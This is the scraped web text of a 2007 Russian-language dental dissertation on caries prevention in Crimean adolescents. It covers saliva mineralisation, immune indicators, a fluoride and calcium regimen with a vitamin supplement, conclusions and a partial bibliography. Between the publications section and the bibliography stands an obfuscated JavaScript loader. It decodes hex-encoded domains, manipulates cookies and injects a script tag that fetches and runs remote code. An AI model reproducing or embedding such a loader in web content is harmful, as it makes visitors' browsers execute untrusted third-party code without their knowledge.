КЛИНИКО-ЛАБОРАТОРНОЕ ОБОСНОВАНИЕ ВЫБОРА СРЕДСТВ ПРОФИЛАКТИКИ КАРИЕСА ЗУБОВ У ПОДРОСТКОВ КРЫМА

brief description

МИНИСТЕРСТВО ЗДРАВООХРАНЕНИЯ УКРАИНЫ
КРЫМСКИЙ ГОСУДАРСТВЕННЫЙ МЕДИЦИНСКИЙ УНИВЕРСИТЕТ ИМ. С.И. ГЕОРГИЕВСКОГО

На правах рукописи

Беличенко Юрий Николаевич

УДК 616.314-002-053.5-084

КЛИНИКО-ЛАБОРАТОРНОЕ ОБОСНОВАНИЕ
ВЫБОРА СРЕДСТВ ПРОФИЛАКТИКИ КАРИЕСА ЗУБОВ
У ПОДРОСТКОВ КРЫМА

14.01.22 стоматология

Диссертация на соискание ученой степени
кандидата медицинских наук

Научный руководитель:
Сысоев Николай Петрович,
доктор медицинских наук,
профессор

Симферополь 2007

содержание

ПЕРЕЧЕНЬ УСЛОВНЫХ СОКРАЩЕНИЙ...4
ВВЕДЕНИЕ5
ГЛАВА 1. ОБЗОР ЛИТЕРАТУРЫ11
1.1. Распространенность и патогенетические механизмы в развитии кариеса зубов.11
1.2. Клинико-лабораторные показатели ротовой жидкости при различной интенсивности кариеса.............................................................. 17
1.3. Методы профилактики кариеса зубов....................................... 25
ГЛАВА 2. ОБЪЕКТЫ И МЕТОДЫ ИССЛЕДОВАНИЯ...33
2.1. Общая характеристика привлеченных к исследованиям подростков 33
2.2. Клинические методы исследования состояния зубов.............. 35
2.3. Лабораторные методы исследования ротовой жидкости и смывов 38
2.3.1. Исследование рН, буферной емкости, скорости слюновыделения 38
2.3.2. Исследование активности щелочной фосфатазы, содержания кальция и фосфора в ротовой жидкости........................................... 38
2.3.3. Определение минерализующего потенциала ротовой жидкости 40
2.3.4. Исследования активности лизоцима слюны, секреторного иммуноглобулина А и функциональной активности иммунокомпетентных клеток................................................................................. 40
2.4. Методика статистической обработки полученных данных...... 41
ГЛАВА 3. РЕЗУЛЬТАТЫ ИЗУЧЕНИЯ СОСТОЯНИЯ ЗУБОВ, КЛИНИКО-ЛАБОРАТОРНЫХ ПОКАЗАТЕЛЕЙ РОТОВОЙ ЖИДКОСТИ И СМЫВОВ У ПОДРОСТКОВ С РАЗЛИЧНЫМ УРОВНЕМ ИНТЕНСИВНОСТИ КАРИЕСА...43
3.1. Анализ состояния зубов у подростков..43
3.2. Результаты исследования скорости слюноотделения, рН, буферной емкости................................................................................................... 50
3.3. Результаты исследования активности щелочной фосфатазы, содержания кальция и фосфора в ротовой жидкости.................................. 52
3.4. Микрокристаллизация ротовой жидкости................................ 54
3.5. Показатели неспецифической резистентности ротовой жидкости и смывов из полости рта................................................................................ 57
ГЛАВА 4. ОБОСНОВАНИЕ И РАЗРАБОТКА СПОСОБА ПРОФИЛАКТИКИ КАРИЕСА ЗУБОВ У ПОДРОСТКОВ КРЫМА.65
4.1. Поиск средств и обоснование применения их в профилактике кариеса зубов................................................................................................... 65
4.2. Оценка эффективности применения разработанной методики профилактики................................................................................................... 69
4.2.1. Клиническая эффективность разработанного лечебно-профилактического комплекса......................................... 69
4.2.2. Динамика лабораторных показателей состояния ротовой жидкости и смывов.............................................................................. 72
ГЛАВА 5. АНАЛИЗ И ОБОБЩЕНИЕ РЕЗУЛЬТАТОВ
ИССЛЕДОВАНИЯ..98
ВЫВОДЫ...116
ПРАКТИЧЕСКИЕ РЕКОМЕНДАЦИИ...119
СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ121

ПЕРЕЧЕНЬ УСЛОВНЫХ СОКРАЩЕНИЙ

ГИ - гигиенический индекс
Д-РОН розеткообразования нейтрофилов по отношению к клеткам пекарских дрожжей
Д-РОЭк розеткообразования эпителиальных клеток по отношению к клеткам пекарских дрожжей
ЕА - единица активности лизоцима, ед./мл
Е-РОН розеткообразования нейтрофилов по отношению к эритроцитам барана
Е-РОЭк розеткообразования эпителиальных клеток по отношению к эритроцитам барана
ME - международная единица
МКС микрокристализация
КПУ - индекс интенсивности кариеса
КПУз индекс интенсивности зубов
КПУп индекс интенсивности полостей
IgA - иммуноглобулин А
S-IgA - секреторный иммуноглобулин А
РК кариеспрофилатическая редукция

ВВЕДЕНИЕ

Актуальность темы. Кариес зубов до настоящего времени является одной из актуальных социальных и экономических проблем стоматологии. Однако она полностью не решена, несмотря на разработанные высокоэффективные технологии лечения и профилактики, в том числе с учетом возраста [1, 95, 106, 30, 90, 268].
Анализ существующих многочисленных теорий кариеса показывает необходимость более тщательной разработки направления, обосновывающего роль деминерализации твердых тканей зубов под воздействием органических кислот. Они образуются в процессе ферментации углеводов. Это приводит к изменению рН ротовой жидкости, которая становится деминерализирующей жидкостью [6, 7, 25, 26, 148, 147, 61, 75, 260].
Определенное место в концепции кариеса занимают данные о состоянии неспецифической резистентности, определяющей уровень местного иммунитета полости рта на фоне неблагоприятной экологической ситуации [142, 145, 148, 226, 77, 246]. Особое значение в настоящее время имеет раскрытие механизмов взаимосвязи между состоянием иммунной системы подростка, активностью кариеса и особенностей региона проживания [67, 146, 143, 142, 197, 203, 227, 263].
По данным литературы, более 80% подростков Крыма имеют кариозные зубы, а в некоторых регионах Крыма, относящихся к неблагоприятным, этот показатель выше. Санитарно-эпидемиологические службы Крыма характеризуют их как кризисные, учитывая загрязнение окружающей среды, высокий удельный вес в промышленности ресурсо-энергоемких технологий, низкую эффективность очистных сооружений, низкое качество воды, пониженное содержание в ней фтора и высокое ионизирующее излучение [9, 18, 51, 52, 232].
В связи с этим в автономной республике Крым утверждена и действует Региональная программа «Стоматология», которая предусматривает разработку научно-обоснованных рекомендаций по профилактике кариеса зубов [15, 50, 52, 18, 164, 210]. Современная концепция стоматологии [266, 119] определяет направление поисков средств и методов профилактики [50, 51, 52, 141, 137].
Изучение аспектов, вызывающих высокую распространенность кариеса у подростков, позволяет решать вопрос профилактики, разрабатывать программы для конкретного региона с учетом возраста и экологической ситуации. Выбор средств и методов профилактики зависит от химико-географических особенностей региона, состояния иммунной системы, возраста.
Связь работы с научными программами, планами, темами. Диссертация выполнена согласно плана научно-исследовательской работы на кафедре стоматологии факультета последипломного образования Крымского Государственного медицинского университета имени С.И.Георгиевского и является составной частью комплексной научно-исследовательской работы «Эпидемиология, профилактика и лечение заболеваний пародонта и слизистой оболочки полости рта» (№ госрегистрации 0198U007586, шифр темы 7200ДНТЕ). Диссертант является исполнителем отдельных фрагментов вышеуказанной темы научно-исследовательской работы.
Цель работы. На основании изучения показателей поражаемости зубов кариесом, клинико-лабораторных исследований разработать и обосновать эффективность применения комплекса средств направленного профилактического действия для подростков, проживающих в Крыму, и внедрить их в практику.
Для реализации поставленной цели определены задачи:
1. Изучить распространенность и интенсивность кариеса у подростков Крыма, проживающих в экологически неблагоприятных регионах.
2. Изучить состояние минерализирующей способности ротовой жидкости при различной интенсивности кариеса.
3. Изучить состояние показателей неспецифической резистентности ротовой жидкости и смывов при различной интенсивности кариеса.
4. Разработать и обосновать применение комплекса средств направленного действия для профилактики кариеса.
5. Дать оценку эффективности предложенного комплекса профилактики кариеса, внедрить его в практику.
Объект исследования. Кариес зубов у подростков Крыма.
Предмет исследования. Профилактика кариеса, реминерализующая терапия за счет индивидуального подбора и назначения препаратов, коррекция неспецифической резистентности на фоне кариеса зубов различной интенсивности.
Методы исследования. Клинические для изучения особенностей течения и проявления кариеса у подростков Крыма. Лабораторные для изучения показателей гомеостаза ротовой жидкости. Статистические для оценки достоверности полученных результатов исследования.
Научная новизна. Получило дальнейшее развитие исследование состояния распространенности и интенсивности кариеса зубов у подростков Крыма.
Впервые выявлены особенности клинического проявления локализации кариозного процесса у подростков: кариес фиссурных, гладких поверхностей в зависимости от возраста.
Нашли дальнейшее подтверждение факты прямой зависимости нарушения минерализующего потенциала ротовой жидкости и увеличения интенсивности кариеса зубов, особенностей его локализации.
Подтверждена связь между изменением функциональной активности факторов неспецифической защиты ротовой жидкости, ее смывов и состоянием интенсивности кариеса зубов у подростков Крымского региона.
Впервые разработан и обоснован комплекс направленного действия для профилактики кариеса у подростков Крыма (Декларационный патент Украины на изобретение № 46506А от 15.05.2002). Предложен и внедрен индивидуальный подбор средств профилактики на основе тестирования рН ротовой жидкости в домашних условиях с помощью теста «Redentis pH», (запатентованная торговая марка «Redentis» №35319 от 15.10.2003).
Практическое значение полученных результатов. Полученные результаты явились основанием для проведения комплексной профилактики и коррекции функциональной активности факторов неспецифической защиты, нормализации гомеостаза минеральных компонентов ротовой жидкости, в зависимости от клинико-иммунного статуса полости рта подростков Крыма. Установлена эффективность предложенного профилактического комплекса для профилактики кариеса зубов у подростков с различной его интенсивностью.
Разработана методика определения рН ротовой жидкости в домашних условиях для дальнейшего выбора средств ухода за зубами.
Предложена схема курса профилактики кариеса зубов.
Результаты исследований внедрены в клиническую практику стоматологических учреждений Крыма: Республиканскую стоматологическую поликлинику (г. Симферополь), Центральную городскую больницу г. Армянска, региональную программу профилактики Крыма, на кафедре стоматологии факультета последипломного образования Крымского государственного медицинского университета имени С.И. Георгиевского, на кафедре последипломного образования врачей стоматологов высшего государственного учебного заведения Украины, «Украинская медицинская стоматологическая академия», г. Полтава, в областной стоматологической поликлинике, г. Полтава.
Личный вклад соискателя. Диссертация представляет собой самостоятельное научное исследование. Соискатель лично провел информационный поиск, изучил и провел анализ литературных источников по теме, набрал и проанализировал клинический материал, выполнил статистическую обработку данных, обобщил и проанализировал результаты исследования, интерпретировал их, написал главы диссертационной работы, выводы и практические рекомендации.
Соискателем разработана принципиально новая методика индивидуального подбора средств профилактики кариеса в зависимости от рН ротовой жидкости и иммунного статуса у подростков. Выбор цели и обоснование задач научного исследования, проведено совместно с научным руководителем. В научных публикациях участие соискателя является доминирующим.
Апробация результатов диссертации. Основные положения работы доложены на научно-практических конференциях:
- Современные аспекты клинической пародонтологии (г. Симферополь, 2001)” - На I съезде ассоциации стоматологов Автономной республики Крым (г. Симферополь, 2004); - Научно-практической конференции Крымского Республиканского общества АСУ, (г. Симферополь, 2006); Апробация диссертационной работы состоялась на заседании ученого совета стоматологического факультета Крымского Государственного медицинского университета им. С.И. Георгиевского, а также на заседании апробационного совета № 2 «Стоматология» при высшем государственном учебном заведении Украины «Украинская медицинская стоматологическая академия» (г. Полтава, 2006).

Публикации. Основные результаты исследований отражены в 10 публикациях, в том числе 5 в изданиях, лицензированных ВАК Украины. 3 работы представлены как методические рекомендации, 1 тезисы съезда. Получен декларационный патент Украины на изобретение «Состав для профилактики кариеса» №46506 А от 15.05.2002 г. Бюл. № 5. Запатентована торговая марка «Redentis» № 35319 от 15.10.2003 г. Бюл. № 10.

window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mydisser.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

bibliography

Выводы

На основании анализа клинических данных и проведенных клинико-лабораторных исследований предложен новый способ решения актуальной научно-практической задачи, который заключается в разработке профилактического комплекса направленного действия для предупреждения развития кариеса у подростков, проживающих в Крыму.
1. У подростков 12-16 лет, проживающих в экологически неблагоприятных регионах Крыма, выявлена высокая распространенность кариеса, которая в среднем составляет 91,4±4,8%. Увеличение этого показателя отмечается с 12 до 16 лет от 83,8±5,0 до 96,7±5,1%, соответственно.
2. Интенсивность кариеса зубов составляет 5,8±0,24. В 13 лет показатель увеличивается до 6,0±0,24 и сохраняется стабильным до 16 лет. Количество кариозных полостей диагностировано в фиссурах и на гладких поверхностях- 8,17±0,03, при этом в 12 лет фиссурный кариес выявлен в 4,42±0,18 зубах, а на гладких поверхностях - в 3,66±0,02 зубах. К 16 годам это соотношение локализации кариеса изменяется: фиссурный кариес уменьшается до 3,50±0,01, а гладких поверхностей - возрастает до 5,09±0,02.
3. По мере увеличения интенсивности кариеса, показатели минерализирующих факторов ротовой жидкости снижаются: скорость выделения слюны - от 0,81±0,07 до 0,59±0,02ммоль/л; рН ротовой жидкости - от 6,76±0,01 до 6,10±0,05; буферная емкость - от 5,05±0,03 до 4,74±0,12; активность щелочной фосфатазы - от 5,49±0,25 до 4,01±0,23нкт/л; содержание кальция - от 1,310±0,07 до 1,010±0,06ммоль/л и фосфора - от 6,72±0,31 до 6,03±0,34 ммоль/л; показатель микрокристаллизации - от 2,14±0,02 до 1,31±0,09 баллов (при достоверности Р<0,05). Снижение этих показателей обусловливает возникновение кариесогенной ситуации.
4. Увеличение интенсивности кариеса сопровождается нарушением неспецифичной резистентности ротовой жидкости и смывов. Отмечается снижение активности лизоцима - с 1,59±0,08ед./мл до 1,38±0,01ед./мл, секреторного иммуноглобулина А - от 0,63±0,19г/л в контрольной группе до 0,41±0,14г/л в группе с высокой интенсивностью кариеса (при достоверности Р<0,05). Увеличивается Е-РОН до 44,3±2,01, Е-РОЕк до 32,0±3,21, Д-РОН до 28,9±4,24, при снижении Д-РОЕк до 25,3±3,02 в третьей группе. После проведения профилактических мероприятий показатели функциональной активности клеток нормализуются.
5. Увеличение распространенности и интенсивности кариеса при снижении показателей минерализирующего потенциала, неспецифической резистентности ротовой жидкости и смывов, совпадающее с периодом «ростового скачка», требует выделение периода активного динамического применения профилактических средств у подростков 12-16 лет для предупреждения развития кариеса и формирования в дальнейшем кариесрезистентных тканей зуба.
6. По показателям клинико-лабораторных исследований разработан и введен в клиническую практику профилактический комплекс предусматривающий:
- гигиену полости рта с тестированием рН ротовой жидкости (Redentis pН);
- выбор реминерализирующих средств и подбор зубных паст, содержащих фтор или кальций, который основан на результатах тестирования;
- использование профилактического комплекса витаминов, микро- и макроэлементов для повышения неспецифической резистентности.
7. Эффективность предложенного профилактического комплекса подтверждена нормализацией лабораторных данных и показателями редукции прироста кариеса в разных профилактических группах.В подгруппе IIА, IIIА при применении препарата общего действия «Лайфпак» она составила 26,6% и 33,3% соответственно. Более эффективным оказался метод сочетанного местного действия (аппликация реминерализирующих средств, зубные фтор- и кальцийсодержащие пасты) с учетом показателей рН и использование профилактического комплекса общего действия «Лайфпак». Редукция прироста кариеса в этих группах составила 36,6 и 43,3%, соответственно.

Практические рекомендации

1. Обоснована необходимость обязательного проведения у подростков 12-16 лет, проживающих в регионе с неблагоприятными экологическими факторами, профилактических мероприятий по предупреждению кариеса. Мероприятия предусматривают применение комплекса профилактических средств, санацию полости рта, обучение правилам гигиенического ухода за зубами, для подростков конкретного региона.
2. Для индивидуального определения рН ротовой жидкости разработан и внедрен метод тестирования Redentis(рН), определяющий буферную емкость ротовой жидкости .
3. Предложен метод профилактики кариеса зубов у подростков, который включает комплексное (эндогенное и экзогенное) использование средств профилактического действия: витамины, микро- и макроэлементы в составе «Лайфпак».
4. Рекомендуется после определения исходного уровня рН ротовой жидкости применение реминерализующих средств: при рН 6,6-7,0 2% р-р фторида натрия, при рН 6,0-6,2 Белагеля Са/Р в виде аппликаций на гладкие поверхности зубов.
5. С целью выбора средств ухода за зубами предложена методика определения рН полости рта в домашних условиях перед выбором средств ухода за зубами. При рН равном 6,6-7,0 рекомендуется применение паст, содержащих фтор, при рН равном 6,0-6,2 содержащих фосфаты и кальций.
6. Рекомендуется проведение в течение года курса профилактики по следующей схеме:
принимать капсулу «Лайфпак» во внутрь ежедневно четыре недели, два раза в год;
аппликации на гладкие поверхности зубов 2% раствора фторида натрия или Белагеля Са/Р в зависимости от показателей рН ротовой жидкости, вечером перед сном после хорошей чистки зубов четыре недели, два раза в год.
7. Предложенный метод профилактики может быть использован
подростками самостоятельно.

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ

1. Авдусенко Л.А. Разработка экспресс-методов оценки резистентности и их применение в стоматологической диспансеризации: Автореф. дис. канд. мед.наук: 14.00.21 / Киевский ордена Трудового Красного знамени мед. институт им. ак. А.А. Богомольца. Киев, 1990 . 18 с.
2. Агафонов Ю.А. Изменение резистентности эмали под воздействием различных средств и методов профилактики: Автореф. дисканд. мед. наук: 14.00.21/ Московский ордена Трудового Красного знамени медицинский стоматологический институт им. Н.А. Семашко. М., 1990. 15 с.
3. Агивцева С. В. Эффективность индивидуальной гигиены полости рта c использованием различных зубных паст в лечении болезней пародонта: Автореф. дис... канд. мед. наук. Минск, 1996. 18 с.
4. Аксамит Л. А. Выявление ранних стадий пришеечного кариеса и его взаимосвязь с местными факторами рта: Автореф. дис... канд. мед. наук. М., 1978. 21 с.
5. Аксамит Л. А. К диагностике ранних поражений эмали зубов. В кн: Результаты клинических и экспериментальных исследований. М., 1974. С.3-4.
6. Алексеева Н.К. Клинико-биохимическая оценка множественного кариеса зубов: Автореф. дис канд. мед. наук: 14.00.21 / Центральный научно-исследовательский институт стоматологии . М., 1969. 16 с.
7. Анисимова И.В. Прижизненная растворимость эмали зубов, влияние на нее различных факторов и принципы регуляции: Автореф. дис канд. мед. наук. Омск, 1982. 18 с.
8. Бабель И.В. Влияние повышенных концентраций фтора в питьевой воде на состояние твердых тканей зубов и некоторые другие системы организма (по материалам комплексной экспедиции в Щучинский район, Кокчетавской области, Казахской ССР): Автореф. дис... канд. мед. наук: 14.00.21 / Центральный научно-исследовательский институт стоматологии. М., 1968. 15 с.
9. Бабушкина Н.С., Райда А.И., Пристайчук З.М. Профилактика кариеса зубов у школьников, проживающих в условиях содо-бромного производства. Стоматология Тавриды. Материалы I съезда /Ассоциации стоматологов АР Крым. Симферополь: Таврия, 2004. С. 44-45.
10. Баглык Т.В. Экспериментально-клиническое изучение противокариозной эффективности реминерализирующего препарата: Автореф. дис канд. мед. наук / Московский медицинский стоматологический институт им. Н.А. Семашко. М. 1989. 16 с.
11. Бальчунене И.А., Олишкявичене Б.К. Морфологическое обоснование рациональной профилактики кариеса жевательных поверхностей // Стоматология. 1985. № 5. С. 64-65.
12. Барер Г.М. Концепция патогенеза лучевых поражений зубов // Стоматология. 1991. № 5. С. 8-12.
13. Бас О.А. Фізико-хімічні властивості протикаріозних назубних лаків // Вісник стоматології. 1997. № 1. С. 31-34.
14. Бахмудов Б.Р. Сезонные особенности прироста кариеса зубов и обоснование рациональных сроков санации полости рта: Автореф. дис канд. мед. наук: 14.0021. Казань, 1989. 19 с.
15. Беличенко Ю.М. Місцевий імунітет порожнини рота у підлітків Криму // Вісник стоматології. 2004. № 4. С. 60-62.
16. Беличенко Ю.М. Склад для профілактики карієсу: Деклараційний патент на винахід № 46506А, 15.05.2002. Бюл. № 5.
17. Беличенко Ю.Н., Яковец В.В. Использование теста Редентис (ph) при индивидуальном подборе средств профилактики кариеса / Методические рекомендации. Симферополь, 2002. 18 с.
18. Белышева Е.Н. Профилактика стоматологических заболеваний у детей Крыма // Стоматология Тавриды. Материалы I съезда Ассоциации стоматологов А.Р. Крым. Симферополь: Таврия, 2004. С. 48-50.
19. Беляков И.М., Ярилин А.А. Воздействие комплекса факторов Чернобыльской аварии на иммунную систему человека // Тез. докл. радиобиологического съезда. Пущино, 1993. Т. 3. С. 1047.
20. Бикова Н.М., Пархоменко Л.О. Діагностика преморбідних станів твердих тканин зубів у школярів // Актуальні проблеми сучасної стоматології та загальної медицини. Матеріали наукової конференції, присвяченої 70-річчю проф. Г.І. Сироти. Дніпропетровськ, 1993. С. 13-14.
21. Бобырев В.Н. Биохимическая фармакодинамика и молекулярные механизмы действия антиоксидантов, как средств профилактики и лечения свободнорадикальной патологии: Автореф. дис... д-ра мед. наук: 14.00.25 / Московский медицинский стоматологический институт им. Н.А. Семашко. М., 1990. 36 с.
22. Бокая В. Г., Анисимова И. В. Принципы организации гигиенического воспитания населения // Стоматология. 1993. Т. 72, № 2. С. 65-66.
23. Бокая В.Г., Леонтьев В.К. Новый подход к использованию сахарозаменителей в профилактике кариеса зубов // Стоматология. 1992. № 3-6. С. 66-68.
24. Борисенко Ю.В. Стресорна реакція слинних залоз та їх корекція: Автореф. дис. канд. мед. наук: 14.00.21 / Українська медична стоматологічна академія. Київ, 1993. 21с.
25. Боровский Е. В. Пути проникновения и распределения кальция в твердых тканях зуба // Стоматология. 1957. № 6. С. 11-13.
26. Боровский Е. В., Леонтьев В. К. Биология полости рта. М.: Медицина, 1991. 303 с.
27. Боровский Е. В., Леус П. А. Взаимосвязь факторов полости рта и зубных тканей в аспекте их влияния на устойчивость или восприимчивость к кариесу // Вестник АМН СССР. 1977. № 1. С. 7-10.
28. Боровский Е.В. Экспериментальное исследование биологии твердых тканей зуба и белкового состава эмали: Автореф. дис... д-ра мед. наук: 14.00.21 / Московский медицинский стоматологический институт. М., 1967. 22с.
29. Боровский Е.В., Агафонов Ю.Л. Влияние минерализующих растворов на состояние эмали и поражение зубов кариесом // Стоматология. 1993. № 2. С. 58-60.
30. Боровский Е.В., Леус П.А. Кариес зубов М.: Медицина, 1979. 256 с.
31. Бриль Е.Н., Левенец Л.А., Кочевникова Т.А. Особенности основных показателей иммунной системы у детей с различной степенью активности кариеса детей // Стоматология. 1991. № 3. С. 60-63.
32. Бухарин О. В., Васильев Н. В. Лизоцим и его роль в биологии и медицине. Томск: Изд-во Томского ун-та, 1974. 209 с.
33. Вельтищев Ю.Е. Экопатология детского возраста // Педиатрия. 1995. № 4. С. 26-33.
34. Вельтищев Ю.Е., Бадаева Л.С. Влияние малых доз радиации на иммунную систему детского организма // Вопросы охраны материнства и детства. 1991. Т. 36, № 12. С. 3-9.
35. Вельтищев Ю.Е., Капустян А.М. Проблемы патологии детского возраста в аспекте нарушения структуры и функции биологических мембран: Научный обзор. М., 1982. 68 с.
36. Веремеенко К. Н., Хоменко А. А., Кизим А. И. Ферменты слюны и их исследование в клинике (обзор литературы) // Лабораторное дело. 1976. № 7. С. 393-399.
37. Виноградова Т.В. Диспансеризация детей у стоматолога. М.: Медицина, 1982. 255 с.
38. Влияние низких доз ионизирующей радиации и других факторов окружающей среды на организм / Под ред. М.И. Руднева. К.: Наукова думка, 1994.-214 с.
39. Водолацкая А.М. Оценка надежности прогностических проб на устойчивость зубов к кариесу: Автореф. дис канд. мед. наук: 14.00.21. Казань, 1988. 16 с.
40. Возрастные особенности местного иммунитета при кариесе зубов / А.И.Марченко, В.П.Чернышев, Н.А.Зелинская и др. // Стоматология. 1986. № 5. С. 4-5.
41. Габович Р. Д., Овруцкий Г. Д. Фтор в стоматологии и гигиене. Казань: Б.и., 1969. 512 с.
42. Гажва С.И. Противокариозная эффективность фтора при различном исходном состоянии местного иммунитета полости рта: Автореф. дис. ... канд. мед. наук. Казань, 1991. 18 с.
43. Гаммерштейн В.А. Минеральный состав зубного налета и ротовой жидкости при кариесе // Стоматология. 1987. № 1 С. 9-11.
44. Гаркави Л. Х., Квакина Е. Б., Уколова М. А. Адаптационные реакции и резистентность организма. Ростов, 1997. 324 с.
45. Гигиена полости рта в профилактике основных стоматологических заболеваний / В. Е. Скляр, А. П. Левицкий, Т. П. Терешина и др. Киев: Здоров'я, 1990. 84 с.
46. Гинзбург И. Г. Профилактика кариеса зубов фторсодержащими таблетками в условиях недостаточного содержания фтора в питьевой воде: Автореф. дис... канд. наук: 14.00.21 / Центральный научно-исследовательский институт стоматологии. М., 1973. 22 с.
47. Горзов И.П. Распространенность кариеса и его профилактика в условиях биогеохимического дефицита фтора и йода: Автореф. дис... канд. мед. наук: 1.00.21 / Киевский медицинский институт. Киев, 1991. 41 с.
48. Гребенникова Н.П., Георгиев В.И. Витаминотерапия и витаминопрофилактика (проблемы изобилия) // Стоматология . 1999. № 1-2. С. 58-60.
49. Григорьева Л.П., Павленко Л.Г. Распространенность и интенсивность кариеса зубов у детей с учетом содержания Р и Са в питьевой воде // Стоматология. 1980. Т. 59, № 4. С. 59-60.
50. Гримова Н.П. Отчет по выполнению региональной программы «Стоматология 2001-2005» за 9 месяцев 2004 г. Симферопольского района Материалы І съезда Ассоциации стоматологов АР Крым. // Стоматология Тавриды. 2004. С. 22-26.
51. Гримова Н.П., Аблаев С.А. Профилактика кариеса зубов у детей школьного и дошкольного возраста // Стоматология Тавриды. Материалы I съезда Ассоциации стоматологов А.Р. Крым. Симферополь: Таврия, 2004. С. 48-50.
52. Гуц Ю.В., Коломиец А.И. Сравнительная характеристика состояния гигиены полости рта в зависимости от применения природных средств // Стоматология Тавриды. Материалы I съезда Ассоциации стоматологов А.Р. Крым. Симферополь: Таврия, 2004. С. 48-50.
53. Гущина В. И. Применение иммунокоррегирующих средств в комплексном лечении пародонтита: Автореф. дис.... канд. мед. наук. Львов, 1989. 16 с.
54. Данилевский Н.Ф., Ангонеко М.Ю., Сидельникова Л.Ф. Мониторинг состояния гигиены полости рта взрослого населения Украины как медицинское обоснование планирования региональных программ профилактики // Современная стоматология. 2005. № 2. С. 164-168.
55. Данилевский Н.Ф., Сидельникова Л.Ф., Ткаченко А.Г. Распространенность основных стоматологических заболеваний и состояния гигиены полости рта у населения различных регионов Украины (по обращаемости) // Современная стоматология. 2003. № 3. С. 14-16.
56. Дашкова О.П. Клинико-экспериментальное обоснование метода изоляции интактных моляров в целях профилактики кариеса у детей: Автореф. дис.... канд. мед. наук. М., 1983. 21 с.
57. Девяткина Т.А. Антиоксидантная система при стрессе и изыскание новых антистрессорных средств: Автореф. дис... докт. мед. наук: 14.00.25 / Киевский научно-исследовательский институт фармакологии и токсикологии. Киев, 1990. 34 с.
58. Денисова Е.Г. Электрофоретическая активность клеток букального эпителия при разных степенях активности кариеса зубов у детей: Автореф. дис.... канд. мед. наук: 14.01.22. К., 2001. 16 с.
59. Деньга О.В., Иванов В.С. Мониторинг заболеваемости кариесом зубов у детей г. Одессы // Вісник стоматології. 1996. № 5. С. 379-383.
60. Дорофейчук В.Г. Определение активности лизоцима нефелометрическим методом // Лабораторное дело. 1968. № 1. С.28-30.
61. Дубровина Л. А. Клинико-лабораторное исследование местных факторов полости рта при кариесе зубов: Автореф. дис.... канд. мед. наук. 1989. 19 с.
62. Дычко Е.Н., Ковач И.В. Способ повышения резистентности зубов к кариесу у детей // Вісник стоматології. 1996. № 1. С. 55-58.
63. Елизарова В.М., Петрович Ю.А. Ионизированный кальций в слюне детей при множественном кариесе // Стоматология. М., 1997. Т. 76, № 4. С. 6-9.
64. Жорова Т.Н. Процесс созревания эмали постоянных зубов после прорезывания и влияние на него различных факторов: Автореф. дис... канд. мед. наук: 14.00.21 / Омский ордена Трудового Красного Знамени государственный медицинский институт им. М.Н. Калинина. Омск, 1989. 24 с.
65. Захисні механізми порожнини рота / Шматко В.І., Голубєва І.М., Віденко Н.В. та ін. // Вісник стоматології. 1998. № 4. С 79-84.
66. Звягинцева В.В. Кариес зубов, резистентность эмали и состояние защитных факторов слюны у школьников в условиях высокогорья: Автореф. дис... канд. мед. наук: 14.00.21 / Тверской ордена Дружбы народов государственный медицинский институт. Тверь, 1990. 19 с.
67. Зелинская Н.А., Даценко В.Я., Пушенко А.И. Состояние ryморального иммунитета у больных кариесом // Стоматология. Киев: Здоров'я, 1984. Вып. 19. С. 9-11.
68. Земсков В.М. Неспецифические иммуностимуляторы I // Успехи соврем. биологии. 1991. Т. 111, Вып. 3. С. 444-459.
69. Земсков В.М. Неспецифические иммуностимуляторы ІІ // Успехи соврем. биологии. 1991. Т. 111, вып. 5. С. 707-721.
70. Зеновский В.П. Содержание Са и Р в смешанной слюне и прирост интенсивности кариеса у детей в зависимости от сезона года // Стоматология. 1984. № 3. С. 112-114.
71. Зимин Ю.И. Проблемы иммунологии детского возраста // Вопросы охраны материнства и детства. 1984. Т. 29, № 6. С. 3-11.
72. Зорян Е.В. К выбору витаминных препаратов в стоматологии // Стоматология. 2003. № 12. С. 6-11.
73. Иванова Е.Н. Сравнительная эффективность местных противокариозных средств // Стоматология. 1990. Т. 69, №2. С. 60-61.
74. Изменение структурных свойств слюны при изменении рН / В.К.Леонтьев, М.В.Галиулина, И.В.Ганзина и др. // Стоматология. 1999. Т. 78, № 2. С. 22-24.
